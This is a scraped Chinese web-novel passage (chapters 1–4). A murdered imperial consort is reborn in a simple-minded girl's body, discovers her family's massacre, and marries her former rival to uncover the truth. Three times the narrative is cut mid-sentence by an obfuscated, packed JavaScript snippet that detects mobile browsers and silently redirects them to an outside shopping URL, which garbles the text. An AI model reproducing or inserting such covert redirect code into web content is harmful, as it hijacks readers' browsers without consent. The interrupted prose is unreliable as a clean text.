《死后成奸臣傻妻》 1. 贵妃离魂 薛灵儿斜倚在闺房的床上,下身只垫一个薄薄的褥子,后背靠着坚硬硌人的木板,感觉跟方才钉在棺材里,也强不上许多,差不多一个滋味的难受。 只是窗子挨着个小到不能再小的花园,透过来几分花木清香,她深呼吸几口气,自觉恢复了几分体力,四周看看房内无人,一抬腿,绣鞋着了地,就想往外逃。 房间小,两步就到了房门口,还没等她伸手,房门从外头打开,是适才在灵堂朝过一面的老夫妇俩,那老爷拄着拐,山羊胡子一颤,怒声骂道:“死丫头,还要乱跑?还想落进水池子里再死一次?” 薛灵儿心急火燎想要奔自己的家,但一见这阵势走不脱,无奈就着小丫鬟的掺扶,又回到床上躺下,等待把这老夫妻俩敷衍打发走再说。 薛灵儿闭上眼假装歇息,一心盼着这二人快走,谁知那老爷左右一招呼,与夫人两个,就着小丫鬟搬过来的兀子,在床头坐了下来。 薛灵儿品度着他有话要说,忍不住把眼张开一条缝,偷眼看过去,就见他抖动着山羊胡子,长长叹了一口气:“天缘凑巧,你这个傻丫头,阴差阳错订下了这么好的亲事,那宋汝璋大人,是何等样的人物……” 薛灵儿心中,本来就焦急不耐烦,好似滚油在煎,一听薛怀提到宋汝璋,烦闷之情加了双倍。 要不是因为忌惮宋汝璋这个讨人嫌的言官,自己出了棺材,直接就奔了宫里,这会儿怕是早就在灯火辉煌的梧桐宫里,由皇帝柔声细语安慰着了。 她,大晋朝第一武将安国公薛怀义的嫡女,十八岁入梧桐宫,封贵妃,宠冠六宫,朝野皆知。今日是她二十二岁生辰,梧桐宫摆宴庆贺,众妃嫔举杯朝贺,皇帝的恩赏如流水一般。 正是意得志满之时,一杯酒下去脑内一片白色炫光,就听宫娥一声惊呼:“娘娘醉倒了!”等到悠悠醒来的时候,居然被钉在棺材里,情急之下拍打呼救,棺材盖起开之后,她坐起身来,吓跑了一灵堂的人。 剩下一个人,远远的站在棺材对面,神情一脉清冷,气度稳如山岳。 薛贵妃揉揉醉眼,勉强认了出来。是那个五品的言官宋汝璋。 二十二岁的寒门状元,打马游街的时候,一副如圭如玉的好相貌名动京城,次年,以弹劾薛贵妃奢靡跋扈,再度名动京城。恼得薛灵儿在梧桐宫摔了琉璃盏。也不知道这人是真不知好歹,还是有心借自己名头出位,反正两下里结了仇,无疑了。 薛灵儿从棺材里坐起身来,第一眼看到的是此人,心中暗骂一声晦气之后,倒是迅速冷静了下来。 虽然受宠多年,性情养得乖张骄纵,少年时候也曾跟父亲在边关骑过马猎过鹰,遇事机灵不慌张,当时一见眼前唯一的熟人是个仇人,生生按下了开门见山剖白求助之心,打算先不说话,且看究竟是怎么一回事。 果然棺材盖打开之后,一大群人重新涌进灵堂,哭的哭,叫的叫,丫鬟仆妇数人把棺材里坐起来的人半掺半扶,回了闺房。离开灵堂之前,薛灵儿来得及回看了一眼棺材,见棺材后的灵牌上写着“礼部员外郎薛怀之三女薛灵燕之位。” 回到闺房之后,薛灵儿再也无人照管,丫鬟仆妇跑回灵堂看热闹,薛灵儿靠在床上,瞥了一眼妆台镜子,这一眼五雷轰顶,自己面貌全然换了另一个人,再急急的自己验遍全身,手足发肤,处处陌生,猜测戏文里离魂附体的奇事发生在自己身上,一时惊惧交加,动弹不得。 好容易缓过一口气来,急于脱身,又在门口被堵了回来,薛灵儿勉强忍耐薛怀的唠叨,焦躁心中如同滚油熬煎,听得薛怀提到什么傻丫头得了好婚事,要嫁给宋大人,好似滚油泼上了一瓢水,雪上加了霜,忍不住睁眼问道:“谁?谁要嫁给宋……宋大人?” 薛怀更添烦恼,脸上皱纹都深了些:“这傻丫头,怕是落水受了惊吓,怎地什么都不记得了?本来是你和你妹妹飞燕,一起交给媒人寻亲事,飞燕被宋汝璋宋大人的高堂相中,谁知媒人一时糊涂,把你的庚帖送到了宋府。正要拿飞燕的庚帖去换,谁知你出事落了水,这时候宋大人上门来,说是天意如此,执意不肯换成飞燕,说是……要迎你的灵牌为妻。” 薛怀说到后来,语声转低,显然也是觉得此事不可思议,薛灵儿心内一声冷笑,这个宋汝璋,果然是脑子不太对劲,行事异于常人。 在旁一直没吭声的薛夫人此时柔声发了话:“老爷,此事还得从长计议。” 薛灵儿把眼光转向在旁坐着的薛夫人,见她四十余岁年纪,眉眼中透着股精明之色,望着薛怀,神情殷切中带点哀怨。 “老爷,可不是我这个做嫡母的偏心。你看灵燕这孩子,本来就痴傻,说话做事和小孩子差不多,现在又坏了脑子,不记得事儿,真让她嫁宋大人那样的高门,如何了得?依着我说,还不如来个先斩后奏,让飞燕替她姐姐上轿,人过了门,再反悔也是来不及……” 薛灵儿心内一声冷笑,宋汝璋不过一个刚刚入仕的五品官,算哪门子高门了?值得这样巴结? 那薛怀却疾言厉色,好似老妻说的话是什么弥天大罪一样:“你恁地糊涂!宋大人如今是天子近臣、堂堂的监察御史,别说我一个刚入京的五品官,就是当朝二品大员,谁人敢得罪于他?如今这泼天的好事落到我家来了,你可别生出些歪心思!” 宋汝璋什么时候升的监察御史?不是刚因为得罪了薛贵妃,被皇帝当庭斥责了一通吗?这个人的种种奇处,无一处不好笑,让薛灵儿暂且把自己的烦恼丢到脑后,好奇问道:“他看我从棺材里出来……还是要娶?” 薛怀见女儿此时眼神清明,说话有板有眼,心中一宽,点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712009|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“三日之后,便来迎娶。” 这却与薛灵儿并不相关了,此刻她只想打发走眼前之人,于是点头应下:“父亲母亲请回吧,孩儿累了。” 闭上眼,听得众人脚步声离去渐远,薛灵儿看一眼窗外,天已经擦黑,便从床上起身,在床边衣柜里翻腾片刻,翻出一件月白银线穿花百褶裙,月白暗纹罗衫,一件淡青缂丝比甲,已经是这衣柜里最华丽体面的衣服,却还比不上她娘家安国公府里的三等丫鬟。 她把身上的寿衣除下,团成一团扔在衣柜里,心中对这个薛灵燕微微泛起了一丝怜悯,一个痴傻姑娘,现在薛家指着她攀高枝儿,却还是没人真心照管她,从棺材里爬出来之后,连寿衣也没人记得帮她换掉。 穿上家常衣裙,薛灵儿歪头想一想,料想正门一路有人看守,便把裙幅往腰间一系,从临水的窗子跳了出去,动作轻灵像一只狸猫。 天黑得快,沿着花树的掩映遮挡,顺着这个小花园一翻墙头,薛灵儿已经站在了薛府外头,京城的大街上。 挥手招来一辆马车,跳上去坐稳,脆生生吩咐一句:“去安国公府附近的通远大街!” 老车夫答应一声,马蹄得得,跑动了起来。 她出来之前已经有过一番思量。无论她多么心急火燎想回到梧桐宫看个究竟,现在顶着薛灵燕的皮囊,都进不去皇宫门口,说不定被当作疯子乱棍打死,只能先回安国公府的娘家说明真相,恰好爹爹前几日回京城述职,带着她进宫便一路畅通了。 马车离通远大街越来越近,马车帘子外传来越来越熟悉的气味,薛灵儿忍不住兴奋,掀开了帘子。 是夜市上油煎酥豆腐的味道,拌上香葱麻油和辣油,吃一口,香辣过瘾,呛出满眼泪花。从前她总是带着丫鬟从府里偷偷溜出来买,顺便等她爹傍晚归家。 看到家里的大小姐混在市井小民之中,吃得满嘴角都是红油,国公爷的随从假装没看见,安国公薛怀义,却要吹胡子瞪眼,骂她不守规矩。她一点都不怕,只要凑上前去揪他的胡子,她爹黑乎乎的脸膛上便会露出笑,眼底泛出一点温柔的光,如同眼前那油煎豆腐的摊子上,风灯闪耀出的光晕。 薛灵儿嘴角露出微笑,兴许是今晚跳窗翻墙这一连串不合规矩的举动,勾起了进宫之前快活自由的日子,她忽然觉得,今日的酒醉离魂,好像也不全然是坏事。 想到自己突然归宁,会给爹娘一个大大的惊吓和惊喜,薛灵儿的心也如同一只快乐的小鸟,雀跃着翅膀飞上了夜空,扬声叫一声停车,便从马车上跳下来,一路带着雀跃的步态,往国公府的大门方向走。 通远大街的尽头拐进去,是一条没有出口的巷子,闲杂人等不可靠近,因为巷子尽头,是京城最有名的安国公府。 但薛灵儿一拐进去,就觉得不对劲。 2. 二嫁 无论京城的达官显贵翻腾过几番沉浮,安国公府始终是京城屹立不动的存在。 安国公薛怀义,镇守西北边关十八年,赫赫战功,在京城百姓口中,是比金碑银碑更贵重的口碑。 就拿这府邸来说,这寸土寸金之地,国公府独占了数倾。门口的生铁立柱,乌木门廊,两个巨大的石头狮子,都是京城独一无二的威望气势,日常两个大红灯笼,彻夜照耀,十个黑衣短打精干家丁,轮流的巡视守候。 可是现在,天光还不算晚,月亮才刚升起,国公府的大门却黑漆漆的。 没有灯笼,没有家丁。 薛灵儿心里莫名的一沉,心跳不住,壮着胆子走到门口,推开大门。 一重又一重的三进院子,本该是往来丫鬟仆人穿梭忙碌,各房的灯火在夜色中闪耀,如同成串的明珠。 可是现在,什么都没有,没有一丝灯火,没有一个人,一片死寂。 一阵透骨的恐惧袭来,薛灵儿从头顶瞬间凉到脚心,转头就往外跑,一直跑到来时的夜市。赶马车的那老车夫转身刚要上车,薛灵儿上气不接下气,拦住了他。 “老人家,安国公府的人呢?都到哪去了?”薛灵儿听见自己的声音生硬的吓人。 老车夫也是一脸诧异:“姑娘你是找安国公府?安国公府早就没人了。你早说呀,早说我都不拉你过去了。” 薛灵儿好像没听懂。昨天早上,她爹和她,还在太和殿的门口擦身而过呢,她扯住老车夫的袖子问:“什么叫早就没人了?” 老车夫留神打量眼前的姑娘,跑得鬓发散乱,脸色白得可怕,好像撞见了鬼一样:“姑娘你是外地来投亲的吧?唉,该打听清楚了再来的。一晃儿这都三年过去了。还不是三年前的那个晚上,锦衣卫堵了门,全家上百口人……一个活口都没剩下,唉。” 一个大铁锤从头顶砸下,薛灵儿眼前金星乱转,身子就是一个踉跄。 老车夫倒是眼疾手快,反手一把拉住她衣袖:“姑娘到车上坐吧,坐下来慢慢说。” 就着老车夫的掺扶,薛灵儿挪动发软的双腿上了车,声音发了颤:“国公府……到底怎么回事?” 老车夫在她对面坐下,压低了声音:“说起来真是太惨了,三年前,也就差不多这个日子左近,安国公府被锦衣卫深夜堵门,全家灭门,血腥气十天不散,说是谋逆大罪,株连九族呢。” 虽然有预感,这字字句句,还是像一簇飞来的箭头,尽数扎进薛灵儿心里。 她咬紧牙关,忍住呕血的冲动,狠下心来追问:“国公爷和国公夫人……怎么样了?” 老车夫皱紧眉头,摇头叹息:“听人说,国公夫人因为曾经对那锦衣卫指挥使有恩,被逼自缢,留了全尸,国公爷被……一箭穿心。” 眼泪实在忍不住,大颗大颗滚落下来,她的心被生生撕成了两半。 她的娘亲,最是知书达理温柔和气的女子,被她爹捧在掌心一辈子。 薛灵儿狠狠闭上眼,嘶声一吼如同受伤的野兽,将嘴唇咬破,鲜血顺着雪白的下颌往下淌,沥沥地滴在月白罗衫上。 老车夫望着她,心中有些吃惊和惧怕。一般小姑娘听见这种事只有哀声痛哭,晕过去也不稀奇,眼前这个姑娘,怎么好像要发疯咬人的野兽? 薛灵儿在疼痛和血腥气中勉强镇定了自己:“老人家,如今是什么年头?” 老车夫一听这不相干的问话,暗暗叹息这姑娘果然脑筋不清楚了,耐心答道:“如今啊,是大晋朝灵武八年。” 薛灵儿掐紧了掌心,她一杯酒下肚,一觉醒来,三年过去了。 只剩最后一件事没问明白了。 “可曾听说过梧桐宫的薛贵妃?” 老车夫满布皱纹的脸上露出一丝笑意:“那谁能没听说过?安国公府金尊玉贵的大小姐,入宫封了贵妃,听说全皇宫的嫔妃娘娘加起来,都不如她一个人漂亮,也不如她一个人得皇上的宠爱。那年皇上出巡祈元殿祭天,破例带了她,老汉还在鸾驾后面追着观看呢。” 薛灵儿想起那年的盛景,心中钝痛:“那薛贵妃……现在如何了?” 老车夫又摇头叹息不止:“唉,安国公府出事前一天,薛贵妃被金贵人一杯药酒下毒害死,皇上对薛贵妃是何等的情分,把金贵人赐了白绫,金贵人母家也受连累抄了家,这两件事凑一起,也真是凑巧了。” 薛灵儿再也支撑不住,后背靠在马车上,掌心掐出了血。 一切都明白了。她已经死了三年了。 老车夫倒有些不知所措:“姑娘投亲不成,老汉送你去客栈吧。” 薛灵儿没有睁眼,只听见自己的声音完全嘶哑:“不用,送我回到方才来的地方。” 老车夫不忍再看她,自顾自回到前座驾车。薛灵儿孤零零坐在车厢里,只求熬过眼前眩晕。 她本是梧桐宫的薛贵妃,安国公府的大小姐,只是一杯酒下肚,沉睡了一息,什么都没有了。 现在,除了五品员外郎家的痴傻姑娘,她什么也不是了。 把头上银钗拔下抵了车钱,薛灵儿下了马车,身体僵直得吓人,双腿仿佛有千斤重。 看到她,门房惊讶地睁大了眼,从不出门的三小姐,竟然深更半夜从外头回来,而且像个游魂一样,双眼发直,膝盖不带打弯,脚上穿的绣鞋,竟然还是寿衣店里的那双。 有心禀报老爷夫人,一看三小姐唇边带着血迹,忍不住打个寒战,心里发毛,心说从棺材里爬出来的人,果然邪门,当下把头一转,装作没看见。 薛灵儿畅通无阻回到自己的闺房,倒在木板床上,一阵撕心裂肺的痛哭。 既然爹娘家人都没了,她根本就不该再从棺材里爬出来。 外头一轮惨淡的残月,清冷的一缕月光,默默注视着她撕成两半的心。也不知过了多久,她止住了哭声,手掐掌心强迫自己冷静下来。 既然从棺材里爬出来了,不能白白复活一次。 爹娘不能白死,安国公府上百人的血不能白流。 说安国公薛怀义会谋反,全京城的百姓都不会相信。 至于自己前世,薛贵妃在生日宴中被毒死,更是蹊跷。 金贵人,曾经因为对她言语不敬,她罚跪罚得重了些,落了胎,二人从此结下了冤仇。 但这只是表面,哪有那么凑巧的事?她早不复仇晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712010|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不复仇,等着安国公府覆灭前夕下手,怕是收到了什么风声了吧? 一个小小的贵人,都收到风声了,安国公府的亲族子弟们呢,一点都不知晓? 而皇上的态度,更是令人心寒齿冷。 虽说严惩了下毒的金贵人,可对于安国公府被诬告谋反,不审不问,直接下令深夜堵门诛杀…… 薛灵儿想到入宫之后,皇帝百般宠溺之情,可对待自己的全族亲人,竟是如此心狠,半点不念情分,浑身的血都凉了三分。 天可怜她,活了过来,就要为安国公府查明当年真相。 安国公府的故旧,还有谁可以依靠呢…… 正在此时,房门一响,从外被推开,薛灵儿吃了一惊,望过去,只见丫鬟拿着烛台,照出薛怀的老脸,他三步并作两步,手持的拐杖便往薛灵儿身上招呼:“半夜三更不睡觉,发的什么疯?满府的人都被你嚎起来了。这样嫁到宋大人家,怎么得了?那可是二品官员的府上啊。” 薛灵儿往床里一缩,躲开了拐杖,这才想起来还有这么一门亲事,忍不住冲口问道:“二品?他不是五品吗?” 薛怀一愣,虽然觉得女儿说话大大异乎寻常,却也不疑有他,照直答道:“五品?那是三年前的事了,如今宋大人官居二品,掌管翰林院,又是监察御史,是皇上最信重的人。” 又是三年前。 薛灵儿的心刚刚被勉强缝合起来,又被撕了一道大口子。 一鲸落,万物生。安国公府以谋反之罪覆灭,对于满朝文武官员的升迁荣辱,也是一场大地震。她是将门之女,很早就懂得这些,只是后来沉醉在皇帝的温柔乡里,慢慢忘了。 宋汝璋当时是五品言官,弹劾薛贵妃奢靡跋扈,如此跟薛贵妃和安国公府公然宣战,虽然被皇帝当庭责骂,却也一战成名,谁也想不到,安国公府倒台,他倒成了获益之人。 薛灵儿心中微微冷笑,一时也不知是该怒,还是该悲。 不过,现在这个宋汝璋,倒是重生复活的薛贵妃手边,最方便抓住的唯一棋子了。 二品大员,又是监察御史,做他的正室夫人,最有机会寻到人脉,查明安国公府覆灭的真相。 想到此处,薛灵儿悄悄缓一口气,刻意放软了声音:“爹爹不要烦恼,女儿一定乖乖听爹的话,去了宋大人家,也会听大人的话。” 她白天听薛夫人说,薛灵燕痴傻,说话行事像小孩子,便刻意做个乖巧姿态,学小孩子说话哄人。薛怀果然神色松了下来,叹息一声,伸手摸了一下女儿的头。 旁边的丫鬟趁机劝慰:“老爷宽心,夫人特意把奴婢和秋香两个陪嫁,便是处处要看管着三小姐,不要惹事的,三小姐平时也不哭不闹,并不扰人,今日想必是在棺材里惊吓着了,才会这样。” 薛怀重重叹息一声:“罢了,春香,你和秋香二人,要事事留心。” 春香郑重答应一声,主仆二人走出房去,薛灵儿眼望着丫鬟重新关紧了房门,也松口气,眼望着床顶的碎花帐子。 把这几日熬过去,等待发嫁,去嫁给前世的宿敌,脑子不太正常的宋大人。 对于此人,她有一个大胆的猜测。 3. 大婚 薛灵儿坐在喜轿上,耳边听着夸张喜庆的吹吹打打,心中加倍的悲凉与烦闷。 脸上脂粉都是市卖货,刺的肌肤发痒,头上的盖头也不透气,她恨不得一把扯了去。 外头看热闹的京城百姓着实不少,好像四九城都惊动了,笑语喧哗,追着轿子跑,倒好像是他们办喜事一样。 也难怪。 宋汝璋当年,高中状元,打马游街,以一张俊脸玉貌朱颜,惊了全京城。明明是个寒门学子,偏又自带一派宠辱不惊的清冷贵气,惹得京城贵女们一个个的意动心折,连薛灵儿的小姑子灵越公主,也在其内。 各方贵胄世家都跃跃欲试着榜下捉婿,却没想到纷纷碰了钉子,不论是当朝的尚书,还是六部的阁老,纷纷铩羽而归,摇头叹气说,这个宋状元说话太不着边际,说是功业未成,暂不娶妻。 他都中了状元了,还想成什么功业?难不成是想做首辅? 就是这么一个不可理喻的人物,突然听说娶亲了,而且放着公主名媛不要,迎了一个痴傻姑娘,京城百姓能不出来凑热闹观看一番? 还有一桩事,说稀奇也行,宋大人没有来薛怀府上亲迎,据说皇帝临时召见,也不知是真是假。反正任由薛灵儿带着临时拼凑的寒酸嫁妆,独自走过了十里长街。 潦草,荒唐,十足就像这门亲事,京城百姓实在忍不住好奇和期待,这场婚事后续定然还会产生源源不断的奇闻。 转眼之间,宋府的大门到了,新嫁娘准备下轿。 看热闹的百姓分外提起了精神,津津有味地准备继续看笑话,看新娘子如何一个人过火盆,迈门槛。 谁知得得一阵马蹄声响,长街尽头,宋大人打马归来。 两边百姓避让着,看着宋大人身上大红色喜袍,风尘仆仆。 薛怀府上随嫁的家人奴仆们先松了一口气,想不到这皇帝召见,居然是真的。 那满街的百姓,尤其是大姑娘小媳妇们,对那轿子里的傻姑娘,忍不住都起了羡慕之心。 眼见宋大人这么一表人物,比画里檀郎、云中谪仙还俊上三分,在皇帝面前又这么得宠,迎亲时候皇帝还少不得他,这日后不得做大官吗? 老天真是不开眼。这样的馅饼,怎么就落到轿子里那傻姑娘的身上呢? 轿子里的薛灵儿,可不知道外头众人的那些胡思乱想,在喜娘的高声导引之中掀开轿帘,一步就想跨下轿去,赶快钻进屋内躲个清净。 谁料盖头下沿的流苏一晃,她看到一双穿着朝靴的脚,日光的影子在地上映出一个高大颀长身形,伴着一丝凛冽的松竹香气,一只大手伸到她的面前。 骨节分明如竹,修长而有力,在阳光照耀下,青筋闪着暗光。 众人发出压抑不住的惊呼,薛灵儿也是意外,没想到宋大人对一个傻姑娘,还是愿意依足规矩,以礼相待,一个恍惚就伸出手去,搭住了那只手。 意外中带着不安,薛灵儿手心出了汗,只那牢牢包裹住她的大手,干燥,稳定,温暖,莫名带着股让人安心的力量,薛灵儿不由镇定了下来,由喜娘导引着,跟在那人身畔,走进了宋府大门。 行礼,三拜,礼成。薛灵儿被喜娘簇拥着,送进了洞房。 坐在与宋大人的婚床上,脖颈被凤冠压得发痛,薛灵儿依然有种人在梦中的感觉。 忍不住就想起那年,小姑子灵越公主为了不识好歹的宋状元,站在梧桐宫的芍药花白玉栏前面,哭湿了一张帕子。薛贵妃与她一向交好,为了哄她,痛骂了宋状元一盏茶的功夫,临了还得说,怕不是有什么不可示人的暗疾,才逗得灵越公主破涕为笑。 若是要灵越公主拿些什么来换,换成今天由她牵住那个男子的手,坐在这张婚床上,怕是拿什么来换,她都肯吧。 而她薛灵儿,只想再死一次,换回全家人再生。 外头宾客分外的喧哗。一提到新郎是从宫里,从皇帝身边打马赶回来,亲自参加婚礼,与新娘拜堂,宾客们仿佛都沾了皇家的龙气,说笑个不住,喜娘的高亮嗓音分外的喜庆,薛灵儿却头脑发懵,腹内发空,额上隐隐冒了虚汗。 这才想起来,打从早上折腾到现在,一粒米还没进肚,于是唤了一声陪嫁的丫鬟:“春香,去厨房取点东西,给……我垫垫肚子。” 薛灵儿话说到半截,才想起来把“本宫”咽下肚子,换成了“我”。 谁知那春香,把两弯吊稍眉一竖,冷冷说道:“小姐,我劝你晓些事吧,新娘子去厨房要东西吃,多不体面,老爷夫人要骂的。” 秋香凑上前来,小声劝道:“春香姐,三小姐是小孩子心性,挨不得饿的。” 春香并不卖秋香的面子,反而板起脸:“夫人交代过了,就是要杀一杀她的小孩子性子,让她万事都听我们的话,否则惹了宋大人烦心,谁担待得起?” 秋香低了头,不吭声了。 心下也明白,这春香是要假借夫人的名头,拿捏住三小姐,自己掌这个屋子里的大权。 薛灵儿没再说话,面上罩了一股寒霜。这样欺主的刁奴,别说在梧桐宫里,就是在安国公府,但凡露出一个字的坏心思,立刻被丢出去,或打或卖,省的脏了眼。 正待发落此人,笃笃笃三声脆响,有人敲婚房的门。 春香抢前去拉开门,见一个十二三岁的半大小厮,规规矩矩站在门前:“小的叫流云,是贴身伺候大人的,大人特意吩咐,来给夫人请安行礼。” 别说春香扬起了吊梢眉,连秋香都诧异了。宋大人官高位重,迎了个痴傻姑娘进门也就罢了,怕是有什么难言之隐,犯得着这么重视吗? 那流云进得门来,双手向前一递,原来手里还提着一个食盒:“给夫人请安,小的担心夫人饿着,带了点心,望夫人不要嫌弃。” 春香被男家的奴仆打了脸,不怪自己刻薄,倒怪他人多事,不情不愿接过食盒,放在高烧着龙凤喜烛的小茶几上,又不情不愿,给了流云一串见面赏钱。 这哪能算完。 薛灵儿心思一转,一把掀开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712011|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖头扔在一边,模仿自己七八岁时候说话的语气和神态,拍手笑道:“你叫流云?给我带点心吃了?真太好了。这个春香很坏,想要饿死我,你去帮我问问大人,我能不能不要她了?” 春香可没料想到这个痴傻的主子能来上这么一手,当着外人揭穿她,当场面红耳赤,结结巴巴试图解释:“小姐可别瞎说……我没有……” 秋香也是睁大了眼,三小姐在娘家的时候无依无靠,十分软弱,受了欺负只会哀声哭泣,今日这是怎么了? 流云虽然没料到有此一问,倒也不慌不忙,得体一笑:“这等小事,倒也不必去问大人,大人身边奴仆的事,都是小的日常在管。既然是夫人不喜欢的人,小的发落了便可。” 春香本来赤红的面色瞬间发了白,这才想起跪下求饶,一把拉住薛灵儿的裙角:“小姐饶了我吧,奴婢下次再也不敢了。” 薛灵儿厌恶地抽出了裙角,流云见她哭哭啼啼,十分扰人,退到门外拍了两下手,便有两个成年仆从低头进来,把春香堵嘴拎了出去。 流云一弯身,告退,屋里剩下主仆二人。 秋香斟了茶水,递上点心,服侍主子吃东西。屋子里特别静,不知怎么的,静的有点吓人,秋香手一抖,茶水洒了一点,洒在喜裙的合欢花上。 明明不是什么大错,秋香心里却打一个突,几乎想跪下来认错求饶,谁知主子从点心匣子上抬起头来,嘴角沾满饼屑,朝她灿然一笑:“秋香,你良心好,以后这屋子里的事儿交给你来管吧。” 秋香在薛夫人房里一直受春香的气,被压着一头,如今乍然翻身,而且还被提拔重用当家主事,一喜之余,也不知道为什么,心里更怕了。 薛灵儿填饱肚子,往外观了观天色,已经黑透,头上凤冠实在太沉,她一把取下递给秋香,自己摊手摊脚往婚床上一躺,却又被硌得哎哟一声起了身,往身下一看,原来是些花生莲子之类的干果。 这才想起民间习俗,寓意多子多福。 恰在这时,听到外头一阵脚步声响,接着房门被叩响,就听流云在外头朗声问道:“大人回来了,夫人可准备好了吗?” 秋香看了薛灵儿一眼,手忙脚乱用帕子擦了她嘴角的饼屑,凤冠戴上,盖头盖上,看上去总算像个新嫁娘的样子端坐在婚床上,还是不安,生怕出了差错。 薛灵儿也不知道是被秋香的慌张所感染,还是怎么的,心口克制不住的砰砰跳,那凛冽松竹气息一径的往她身畔袭来,她心里越是发慌想躲,却又知道不能躲,好容易熬到那一双穿着朝靴的脚又出现在盖头的流苏下面,一柄竹竿挑开了那闷死人的盖头,她一额头薄薄的细汗。 本该含羞垂下头去,不好与夫君对视,可薛灵儿和京城百姓一样,实在按耐不住对这个古怪人物的好奇心,好在自己又披了个痴傻姑娘的皮囊,倒也没那么多顾忌,于是一双杏子眼目光炯炯,就朝着新郎官脸上望去。 恰好宋汝璋被新娘嘴角的饼屑吸引了视线,二人的目光撞了一个正着。 4. 洞房 宋汝璋一看眼前这陌生的小姑娘,团面孔,短鼻梁,圆下颌,一双乌溜溜的大眼直直朝他看过来,厚涂脂粉之下,掩饰不住一股孩童气息,一眼便看到额头上有个暗色疤痕,想到这小姑娘痴傻,在母家怕是不受待见,忍不住一股怜悯之意,浮上心头。 而薛灵儿眼神直望宋汝璋,心中也是暗暗品度,此人高鼻深目,长方面形,线条异常俊朗,论相貌确实生的好,似乎不在自己的皇帝夫君之下,只天生古板冷肃,周身一股寒浸浸的凛冽之气,实在令人忘而却步,也不知道小姑子灵越公主,并那些名门淑女们,是打算如何啃这块硬骨头。 她死后三年,加上生前两年,数年不见,这人本就古板不近人情,如今也不知为何事,越发的冷肃拒人千里之外了。 薛灵儿正在胡思乱想,忽然喜服的袖子被人大力扯了一下,吓了一跳之余,才觉出秋香在对自己紧鼻瞪眼,拼命使眼色。 这才想起来,在薛怀家受到的千叮咛、万嘱咐,让傻新娘千方百计,留下宋大人。 这难办的事体。 京城的名门闺秀都办不到,叫一个傻姑娘如何办?薛灵儿忍不住张皇朝秋香一望,眼见秋香神情越发焦急凶狠,虽然薛贵妃不至于害怕,但终究不能暴露身份,于是硬着头皮站了起来,朝着宋大人怯怯地一望,叫了一声“夫君”。 这一声称呼,声音甚为微小,在婚房内却仿佛一声轻雷爆响。 薛灵儿一向自诩胆大包天,没有不敢为之事,却没想到,自己被这一声称呼,激得忽然羞红了脸,微微垂了头,转过脸去,头上粗劣凤冠的璎珞流苏一阵叮当脆响,总算有了几分新嫁娘的样子。 这才想到,自己前世虽然贵为皇妃,却从来用不上这等民间女子的称呼。 陌生,而又过于的亲昵了。 再说宋大人,穿着一身大红喜服,站在大红的婚房中,被各种披红挂绿的物件拥挤着,直如同坠入一个莫名其妙的梦中,被眼前的陌生小姑娘叫了一声“夫君”,倒是周身一冷,清醒过来。 于是定一定神,后退一步,摆了一摆手。 脸容分外的端肃,那一身凛冽寒气越发逼人,薛灵儿和秋香主仆两个,眼睁睁看着他,没敢动弹一步,在母家演练好的拉人袖子等诸般招数,忽然就使不出去。 清一清喉咙,宋大人先开了口,把正脸对着秋香,想是顾虑到新娘子心智不全,索性吩咐主事的大丫鬟。 “夫人既然进了门,某自然会善待照拂,只是,需要遵我三点要求。” 秋香屏息敛气,垂着眼听候吩咐,薛灵儿也感兴趣地睁大了眼。 “一、某对待夫人,以兄妹之礼,二人平日起居,互不相扰。” 秋香一听,心内一凉,心说家里老爷夫人的叮嘱算是白费了,这人一开口,就把路堵死了。 薛灵儿却心中暗乐,心中猜测中了一半,强行按捺住笑意,听了下去。 “二、某已经有正室夫人,完成大礼,不会再纳妾侍通房。” 秋香论性子,比那春香柔和得多,听到这句过于直白的话,还是被激红了半边面孔,这明摆着是绝了陪嫁大丫鬟的心思。至于纳妾与否,都是糊弄人的话,日后老夫人塞人进来,还有个不成的? 秋香不信的话,薛灵儿却信,她猜测的事情约等于全中。从此她可以安然独寝,高枕无忧,坐在监察御史正室夫人之位,为母家安国公府的冤屈倾尽全力。 “三、虽有夫妇名分,但某的卧房,需通传之后方可进入,某的书房,任何时候不可擅闯。夫人心性不全,为奴婢者要谨记,擅闯书房者,逐出。” 薛灵儿心中又是一乐,书房究竟有什么东西,擅闯者比犯了七出之条还厉害,这个书房,她闯定了。 宋大人宣布完自己的清规戒律,看秋香恭敬一一应下,对着薛灵儿微一躬身,以示打招呼告别,转身迈步,出了婚房的门,步伐方正如斯,一丝不乱。 薛灵儿目送着新郎官的高大身形,消失在拥挤的婚房之内,松了一口气。 她前世为贵妃,见过天家富贵,将门之女,一向有胆有识,冒险嫁前世的宿敌,也不出所料得到了想要的结果,却没想到,一番过程下来,也是一身薄薄的汗,湿透了里衣。 